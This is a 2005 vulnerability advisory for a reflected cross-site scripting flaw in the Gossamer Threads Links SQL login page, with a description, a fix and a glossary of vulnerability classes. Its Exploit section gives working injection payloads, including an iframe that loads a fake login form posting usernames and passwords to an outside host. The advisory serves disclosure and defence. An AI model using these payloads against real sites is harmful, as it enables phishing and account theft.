Gossamer Threads Links SQL login XSS Vulnerability

Bugtraq ID	Class	CVE
13484	Input Validation XSS	CVE-2005-xxxx

Remote	Local	Published / Updated
Yes	No	04th May 2005

Vulnerable

Vulnerable: Gossamer Threads Links SQL v3.0
+ Links SQL 2.x
+ Links SQL 2.2.x
+ Links SQL 3.0

Not Vulnerable

-

Discussion

Links SQL is a perl/mod_perl/PHP web application written by Gossamer Threads and is used to build any type of directory. Although designed to manage links, Links SQL is very customisable and is used all over the Internet for a wide range of tasks such as Image Galleries, Press Releases, Yellowpages, Company Directories, and other categorised databases.

The URL variable in the Gossamer Threads Links SQL login page (user.cgi) is a hidden field in the login form and can be passed directly to user.cgi in the form of user.cgi?url="xyz"
The URL variable is client side input created by the browser when a user clicks on a link which requires authentication.
After authentication the user is redirected to the URL in the URL variable.
This URL variable does not sufficiently validate the client side input and is therefore vulnerable to script injection and cross site scripting (XSS) attacks.

Exploit

This is a standard XSS vulnerability.

Note an attacker would normally obfuscate the linking code but for these examples I have made it simple for the sake of understanding.

Simple Example 1 (Pop up)

```
/user.cgi?url="><script>alert("XSS Vulnerability")</script><"&from=rate
```

Resulting in the following within the HTML being injected:

```
<input type="hidden" name="url" value=""><script>alert("XSS Vulnerability")</script><"" />
```

StationX
IT Security for Home and Business
http//www.Stationx.net/

Simple Example 2 (iframe to steal username and password)

```
/user.cgi?url="><iframe%20src="http://www.stationx.net/linksql.html"%20scrolling="No"%20align="MIDDLE"
%20width="100%"%20height="3000"%20frameborder="No"></iframe><!--&from=rate
```

Example 2 produces an invisible iframe presenting a fake login screen to collect usernames and passwords with the following HTML injected;
<form action="http://hacker.com/getusernameandpassword.cgi" method="post">

The <script> content is limited by the imagination of the attacker and the above are just two examples.

Like all XSS vulnerabilities this is a user attack only and not an attack on the system (Links SQL). Although if the user happens to be the links sql moderator/admin this user attack could be used to escalate privilege to then attack links sql.

To exploit this XSS vulnerability the victim must be tricked into making the above or other carefully crafted HTTP request. There are several ways users can be tricked to do this but common methods include via a link in an HTML aware email, a web based forum (Gossamer Threads forum) or embedded in a malicious web page.

XSS attacks are often demonstrated harvesting cookies to perform session hijacking and gather other sensitive information.

Solution

A new release has been created to fix this problem. Upgrade to Gossamer Links 3.0.1

http://www.gossamer-threads.com/forum/Gossamer_Links_3.0.1_Released_P280986/

http://gossamer-threads.com/perl/gforum/gforum.cgi?post=281029;

Credit

Nathan House @ StationX

References

http://www.stationx.net
http://www.stationx.net/advisories.php
http://www.gossamer-threads.com/scripts/links-sql/index.htm
http://www.securityfocus.com/bid/13484/

Legal Notice

Disclaimer

Key *Bugtraq/Security Focus

Classification

Each vulnerability can be classified into one or more of the following categories.

Boundary Condition Error

A boundary condition error occurs when:

1. A process attempts to read or write beyond a valid address boundary.
2. A system resource is exhausted.
3. An error results from an overflow of a static-sized data structure. This is a classic buffer overflow condition.

Access Validation Error

An access validation error occurs when:

1. A subject invokes an operation on an object outside its access domain.
2. An error occurs as a result of reading or writing to/from a file or device outside a subject's access domain.
3. An error results when an object acceptes input from and unauthorized subject.
4. An error results because the system failed to properly or completely authenticate a subject.

Input Validation Error

An input validation error occurs when:

1. An error occurs because a program failed to recognize syntactically incorrect input.
2. An error results when a module accepted extraneous input fields.
3. An error results when a module failed handle missing input fields.
4. An error results because of a field-value correlation error.

Origin Validation Error

This occurs when the system fails to properly authenticate a subject before performing privileged operations on its behalf. For example, the error might occur when an object accepts input from an unauthorized subject; or because the system fails to properly or completely authenticate a subject.

Failure to Handle Exceptional Conditions

1. An error manifests itself because the system failed to handle an exceptional condition generated by a functional module, device, or user input.

Race Condition Errors

1. An error is exploited during a timing window between two operations.

Serialization Errors

1. An error results from inadequate or improper serialization of operations.

Atomicity Errors

1. An error occurs when partially-modified data structures were observed by another process.
2. An error occurs because the code terminated with data only partially modified as part of some operation that should have been atomic.

Environment Errors

1. An error results from an interaction in a specific environment between functionally correct modules.
2. An error occurs only when a program is executed on a specific machine, under a particular configuration.
3. An error occurs because the operational environment is different from what the software was designed for.

Configuration Errors

1. An error results because of a system utility was installed with incorrect setup parameters.
2. An error occurs by exploiting a system utility that was installed in the wrong place.
3. An error occurs because access permissions were incorrectly set on a utility such that it violated the security policy.

Remote

The vulnerability is exploitable remotely via the network or other communication channel.

Local

The vulnerability is exploitable locally on the system or device.

Published

The date the vulnerability was made public.

Updated

The date the vulnerability was last updated in our database.

Vulnerable

This indicates the affected technology and related components. Each technology can have a strong (+) or weak (-) relationship to other components.

Not Vulnerable

This indicates the technology and related components are not vulnerable. Each technology can have a strong (+) or weak (-) relationship to other components.